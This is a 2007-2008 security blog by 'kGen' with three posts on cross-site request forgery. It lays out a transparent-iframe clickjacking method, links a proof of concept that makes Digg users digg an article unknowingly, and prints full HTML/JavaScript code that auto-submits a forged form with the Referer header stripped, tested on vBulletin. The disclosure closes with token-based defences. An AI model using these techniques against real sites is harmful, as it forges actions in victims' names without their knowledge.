27 May 2008
As I promised
here yesterday, here is your working PoC:
A page that diggs itself
Or a local example,
http://own-the.net/poc/digg_csrf/index.html
Works on IE and Firefox, but not in Opera. A simple USER_AGENT check could solve the problem, though. I just didn't want to re-measure the whole thing.
View the source to see all the inner workings of the PoC. I used 2 divs with a high z-index above the iframe in order to prevent clicks on unwanted parts of the page. Come to think of it, it's a pretty important thing to do.
Play with the "opacity" settings in the CSS to see the positioning of the blocks. The code is commented, so I guess it won't be too hard to alter. I won't get into the "math" used for the absolute-positioning of everything, as it's also in the comments.
Don't forget to comment if you've got any thoughts or suggestions.
Posted by: kGen | In category: CSRF (XSRF) | Comments (2)
26 May 2008
Yes, you heard me. This even beats the random token protection. The only things that it can't beat are password requests and CAPTCHAS.
Before you get too excited, though, this method requires some user interaction (a click on the malicious page). Also, it's *very* limited to specific browser settings (it can be adapted to any browser, though). Read on to lean why.
Yes, this method is most certainly something you would call "lame", but in my opinion it does it's job well.
The process is really quite simple. You create an iframe to the page you want to attack, and size it in a way so the "sumbit" button on the victim page is in the lower right corner of the frame. You add CSS to make the frame transparent, then you place it over something a user would want to click (like the "play" button on a video). You set the z-index of the frame to something high, and make sure the user would click on the right spot. Once the user clicks on what he thinks is the "play" button, he actually clicks on the hidden "submit" button. That's it.
Funny, isn't it? This doesn't sound like much, but the possibilities are endless. In fact, I created a PoC that exploits Digg.com in this way. If a logged in Digg user clicks on a "link" on my page, he automatically and unknowingly diggs an article. (Another "An article that diggs itself" submission"?)
I won't be posting this PoC for now, but I promise to do that in a future post. Maybe even my next post, so wait for it.
Anyway, this attack has some obvious drawbacks:
1) It's very sensitive to how the victim page is rendered.
2) Any change like the default font size could kill the attack.
3) Browsers render things differently. Even the slightest differences can be trouble.
Oh, and also, to change the CSRF'd form's content, we will need some JS. One line to be exact (document.forms[0].submit()), but still, JS is JS.
The thing is that many web applications have a feature to restore a form's content after it was sent and there's been an error. So, you create an HTML page that automatically POSTs an arbitrary form to the destination, and work with the page that says "you had a problem with your token". It will probably have your arbitrary values included, along with the correct token.
Pretty bad, huh? The worst thing is that if you don't need to use JS, not even "NoScript" will protect you.
Finally, I promise that once I get my Digg.com PoC to work on more than one browser, I'll post it here, so you could see it in action.
Posted by: kGen | In category: CSRF (XSRF) | Comments (0)
30 September 2007
I've stumbled across this a few months (weeks?) ago, and since I've opened this new blog, I'd like to disclose it (or could this have already been found?).
There are many sites that rely upon the referer header in order to filter XSRF. This has long been proven as a faulty technique, but latest browser updates made it seem secure again.
As XMLHttpRequest and Flash have been limited to communicate only with the domain they came from, there is no way (that I know of) by which you can forge request headers, and still have the correct cookies sent with them.
So I dug a bit here and there, and found a way to prevent the referer header from being sent. No, you can't spoof it to an arbitrary address, but "no-address" usually does the trick just as well.
Here's a full POC.
<html>
<body>
<script>
function doit()
{
var html;
html = '<form action="http://somesite.com/vuln.php" method="post" name="fname">'
+'<input type = "text" name = "SOME_FIELD" value = "ARBITRARY VALUE">'
+'</form>';
window.frames["frm"].document.body.innerHTML = html;
window.frames["frm"].document.fname.submit();
}
</script>
<iframe name="frm" onload="doit()"></iframe>
</body>
</html>
The magic here is performed by creating an IFRAME withought a given SRC. Then you can write content (the XSRF form to be submitted) to the IFRAME via JavaScript, and submit it the same way. Apparently both IE and Firefox see the frame as a blank page, and act as if the form was sent from a local HTML file.
I've tested this on the latest Firefox, and IE6.0 (yeah, kill me for not having the crappy 7.0).
Obviously some CSS code can obfuscate the whole thing completely, and the victim won't know he/she had been attacked. Pretty serious, I guess.
I bet there are many systems vulnerable to this. I successfully tested this on vBulletin 3.6.8. Yep, they rely on referer in their forms.
The way to avoid being vulnerable to this, has already been suggested many times before. DO NOT rely on referer information. To prevent XSRF, use a one time session related token (key) in your forms.
That's it for now.
Posted by: kGen | In category: CSRF (XSRF) | Comments (1)
Copyright (C) 2007-2008. Some rights reserved. Distribute freely, but don't forget to link to the source.
